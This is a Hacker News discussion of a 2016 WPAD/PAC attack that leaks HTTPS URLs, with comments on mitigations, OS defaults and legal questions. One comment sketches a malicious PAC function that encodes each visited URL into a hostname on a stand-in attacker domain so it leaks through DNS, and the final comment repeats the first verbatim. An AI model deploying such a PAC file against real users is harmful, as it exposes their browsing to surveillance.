
New attack that cripples HTTPS crypto works on Macs, Windows, and Linux - kcorbitt
http://arstechnica.com/security/2016/07/new-attack-that-cripples-https-crypto-works-on-macs-windows-and-linux/
======
0xmohit
From the briefing:

    
    
      We will demonstrate that, by forcing your browser/system to use
      a malicious PAC (Proxy AutoConfiguration) resource, it is
      possible to leak HTTPS URLs.
    

Would be interesting to see the exploit in action. However, malicious PAC
redirection has existed for a while [0].

What isn't quite clear is whether this would work even with HSTS sites.

The takeaway seems to be that never trust any unknown network.

[0]
[https://blogs.technet.microsoft.com/mmpc/2014/02/28/maliciou...](https://blogs.technet.microsoft.com/mmpc/2014/02/28/malicious-
proxy-auto-config-redirection/)

~~~
valievkarim
This PAC exploit was already published in 2015 in Russian:
[https://translate.google.com/translate?sl=ru&tl=en&u=https%3...](https://translate.google.com/translate?sl=ru&tl=en&u=https%3A%2F%2Fhabrahabr.ru%2Fcompany%2Fmailru%2Fblog%2F259521%2F&act=url)

------
zokier
Wait, what... malicious dhcp can "force" browsers to execute essentially
arbitrary code for every request? And this is _by design_? Is there some flag
to nuke that feature from eg Firefox?

~~~
codys
Yes, WPAD (web proxy auto discover) is for locating a piece of javascript code
specified by Proxy auto-config [1], which consists of a single javascript
function that is given the url & the host, and returns a proxy to use.

1: [https://en.wikipedia.org/wiki/Proxy_auto-
config](https://en.wikipedia.org/wiki/Proxy_auto-config)

Edit: note that in addition to SOCKS proxies, this also allows one to provide
HTTP proxies. I'm not familiar with the interaction of https traffic with HTTP
proxies, but I'd hope browsers avoid using them? Anyone familiar with this
care to comment? (specs are sparse in this area)

~~~
revelation
I knew WPAD existed but I figured it was just some static lookup. Quelle
surprise when it's a hack of massive proportions.

So much of this Netscape stuff just reeks of a "startup MVP", to put it
mildly.

~~~
billyhoffman
I don't mind startup MVP stuff, I mind when it goes on to becomes a "standard"
with little to no modification. WPAD/PAC is one. See also the "api" for
document.cookie, which entirely consists of assigning strings to
document.cookie.

------
DanielDent
This is a well known attack and has been for a while. There are established
domain suffixes which block registration for 'wpad' (as well as a few other
domains) for exactly this reason. Which is only a partial mitigation in a
world where MITM is a potential attack vector.

I have domains which receive a steady stream of 'wpad.$domain' queries from
machines which have nothing to do with me. I don't know who owns the machines.
I also don't think anyone would notice if I decided to actually provide them
with the proxy service they keep requesting from my infrastructure.

~~~
johncolanduoni
> I also don't think anyone would notice if I decided to actually provide them
> with the proxy service they keep requesting from my infrastructure.

If you did so, it would make for a _really_ interesting CFAA (or your
country's equivalent) case. Unless there is precedent for this kind of thing?

~~~
DanielDent
I'm unaware of any precedent... I could certainly see people getting upset,
but I don't think they'd have solid grounds.

The interesting thing is that I actually _am_ considering setting up a WPAD
entry on a domain where I am seeing that traffic, for my own purposes (i.e.
unrelated to the random queries I am getting).

In fact, I have just as much an argument that _they_ would be the ones with
possible CFAA liability if they start using my proxy server in a way I don't
intend.

The CFAA is a mess.

------
newman314
Does anyone know how to explicitly disable WPAD on various platforms?

I tried searching for an OS X disable to no avail.

PS. I did find this which came out in May: [https://www.us-
cert.gov/ncas/alerts/TA16-144A](https://www.us-cert.gov/ncas/alerts/TA16-144A)

~~~
gergles
On OS X, it is set in the system network preference pane. Click a connection,
then Advanced..., then Proxies, and there's a service listed called "Automatic
Proxy Discovery" that you can enable if you want it (it is disabled by
default.)

~~~
inopinatus
We can all imagine a case where actual running configuration differs from the
intent expressed in those settings.

I think the OP is looking for a definitive statement or disabling mechanism
whereby the DHCP client (and subsequently all web browser behaviour) in OSX
definitely never honours DHCP option 252, which seems to be the relevant part
of the attack described in the article.

~~~
therealmarv
TL;DR: So you say OS X users are safe with default config?

------
zhuzhuor
From the description in the article, I guess the attack might use a PAC file
like the following

    
    
      function FindProxyForURL(url, host) {
        return "PROXY " + base64(url) + ".malicious-proxy.tld:1080";
      }
    

Then the attacker can look at his/her DNS server query log and figure out the
URL.

~~~
jodrellblank
DNS? What about sniffing the SNI data?

[https://en.wikipedia.org/wiki/Server_Name_Indication](https://en.wikipedia.org/wiki/Server_Name_Indication)

~~~
caf
The SNI only has the host, not the complete url.

------
peterwwillis
_" We show that HTTPS cannot provide security when WPAD is enabled."_

That's effectively a lie. The HTTPS connection itself is definitely still
secure. The only difference is the browser is telling an attacker what URL it
wants to go to. You can also watch what virtual hosts someone is visiting by
sniffing DNS requests, statistical packet analysis can show exactly what
you're looking at, and there are plenty of attacks on browsers and the client
OS to get more data that don't require wpad.

If you want to browse securely, you have to tunnel everything. You should not
assume a browser will ever be able to hide all possible traceable data about
your connection & request.

~~~
cpitman
Isn't the host that a user is requesting passed unencrypted anyways via SNI?

~~~
Chlorus
Also plain as day in the DNS lookup - but a MITM-attacker knowing the host
you're connecting to isn't the problem here; it's that the attacker knows
which particular URLs you have requested.

------
valievkarim
This attack is not new - it was already published in 2015 in Russian:
[https://translate.google.com/translate?sl=ru&tl=en&u=https%3...](https://translate.google.com/translate?sl=ru&tl=en&u=https%3A%2F%2Fhabrahabr.ru%2Fcompany%2Fmailru%2Fblog%2F259521%2F&act=url)
Given that BlackHat speaker is Russian guy too, the research authorship is
questionable

------
PhantomGremlin
I'm confused. Is this a real problem under default OS X settings? Is the OS X
GUI misleading me?

In my settings in Network -> Advanced -> Proxies, all the little boxes are
unchecked. There is an "Automatic Proxy Configuration" line but only when I
check it do I see a method to enter the URL to a .pac file.

So, as a naive user, when I see everything unchecked I assume that everything
is disabled. But perhaps the checkbox only provides a method to supply
information that a DHCP server omits?

So if the DHCP server does return an URL to a .pac file, will OS X will accept
it regardless of the check box?

~~~
nmc
The _" Automatic Proxy Configuration"_ setting allows you to manually set the
URL of the PAC file for automatic configuration. Maybe setting a custom PAC
file can override the one sent by the DHCP server. Anyway, unchecking that one
will not protect you.

However, in the same list, you should see a checkbox labeled _" Auto Proxy
Discovery"_. This is the one you want to uncheck so that OS X does not accept
the URL sent by the DHCP server.

~~~
PhantomGremlin
_you should see a checkbox labeled "Auto Proxy Discovery"_

In my experience, that box is unchecked by default for a clean installation of
El Capitan. So I don't think that OS X is vulnerable (unless that box is
explicitly changed by an end user).

I just found this Apple KB
[https://support.apple.com/kb/PH18553?locale=en_US](https://support.apple.com/kb/PH18553?locale=en_US)
that instructs users to select that setting if needed. That seems to confirm
that the default is off.

The Ars Technica article should have been more nuanced. It strongly implies
(IMO) that OS X is vulnerable by default.

------
AndyMcConachie
So many vulns in WPAD. Best defense is don't use it.

Here's another recent one. [https://ripe72.ripe.net/wp-
content/uploads/presentations/49-...](https://ripe72.ripe.net/wp-
content/uploads/presentations/49-wpad-vulnerability-RIPE-CPH.pdf)

------
double051
Proxy Auto-Config is by off by default on Windows and Macs, but it doesn't say
that in the article or on the Microsoft page.

~~~
blazespin
Does that mean dhcp cant push pac file to IE or Safari by default?

------
TenOhms
This is why I don't trust public wifi, anywhere. I use my phone as a hot spot
everywhere I go unless there's no other option. And I still don't trust my
phone that much either so I don't do any online banking unless I VPN back to
my house first.

~~~
joveian
Even ISPs will do all sorts of obnoxious things like this, although some
public wifi is horrible. I got a $15/year ramnode VPS about a year and a half
ago and removed all services except ssh on port 80 with chacha/poly1305 and
public key encryption. I mostly use SOCKS with sshuttle to catch anything not
configured for SOCKS (sshuttle in theory is a better method, but in practice
it leaks DNS requests somehow). Quite simple and I highly recommend it.
Traffic accounting seems to undercount substantially with this usage so I
didn't get anywhere near my limit (I don't have the highest bandwidth usage,
but not the smallest either). One public wifi I would like to use more often
somehow manages to break this setup (and half the internet even without a VPN
so no idea what they are doing), but I haven't had trouble anywhere else. I
started doing this after getting SSL downgrade errors using public wifi.

~~~
pbhjpbhj
> _(sshuttle in theory is a better method, but in practice it leaks DNS
> requests somehow_ //

Even when specifically shuttling the DNS with the --dns option? Is that a
reported bug?

~~~
joveian
Yes, even with the --dns option, although only with the default method. tproxy
mode might (most likely would?) fix it. I tried it once and it didn't work at
all, but I have since learned that I did it wrong since you need to explicitly
exclude the address you are connecting to.

I didn't report it since I didn't gather enough information to make a
particularly useful report. It is at least known that FreeBSD has an issue
with DNS forwarding (that might be the same?), although I am on arch. I hope
to look into it more at some point.

------
amluto
Since I couldn't find this on bugzilla.mozilla.org:

[https://bugzilla.mozilla.org/show_bug.cgi?id=1289626](https://bugzilla.mozilla.org/show_bug.cgi?id=1289626)

------
daveloyall
I am dubious that any of my Debian machines would fall for this.

BUT... I was unaware of this DHCP attack surface for WPAD. Does anybody know
if Debian has some scripts for receiving a URL via that mechanism and then
visiting it? I guess this would be achieved by libproxy or something?

Do the browsers do some WPAD stuff independently?

~~~
kuschku
NetworkManager and dhcpcd will usually auto-configure with WPAD, and all major
browsers will use it.

If you're using KDE, you can disable it under

System Settings > Network > Settings > Proxy > No Proxy.

If you want to disable it for the browsers, see
[https://news.ycombinator.com/item?id=12167767](https://news.ycombinator.com/item?id=12167767)

~~~
eikenberry
I don't think dhcpcd5 does this. Do you have a reference?

~~~
eikenberry
Found the reference.. it supports wpad when used as a dhcp server. It doesn't
support it as a client.

------
cypherg
I'm also going to be talking a bit about WPAD in my Blackhat talk this year.

To over simplify: attacker stays at AirBnb/rental, attacker pwns local router
and adds their dns server, attacker listens for wpad request and respond with
malicious PAC to gain MitM. Oh, the dangers of AirBnB/rental networks.

[https://www.blackhat.com/us-16/briefings.html#airbnbeware-
sh...](https://www.blackhat.com/us-16/briefings.html#airbnbeware-short-term-
rentals-long-term-pwnage)

------
djsumdog
> It will be demonstrated for the first time at next week's Black Hat security
> conference in Las Vegas

Wait, don't they mean Defcon?

~~~
0xmohit
No, it's BH.

[https://twitter.com/BlackHatEvents/status/748215791779217409](https://twitter.com/BlackHatEvents/status/748215791779217409)

------
Galinakot
From the briefing: We will demonstrate that, by forcing your browser/system to
use a malicious PAC (Proxy AutoConfiguration) resource, it is possible to leak
HTTPS URLs. Would be interesting to see the exploit in action. However,
malicious PAC redirection has existed for a while [0]. What isn't quite clear
is whether this would work even with HSTS sites. The takeaway seems to be that
never trust any unknown network. [0]
[https://blogs.technet.microsoft.com/mmpc/2014/02/28/maliciou...](https://blogs.technet.microsoft.com/mmpc/2014/02/28/maliciou..).

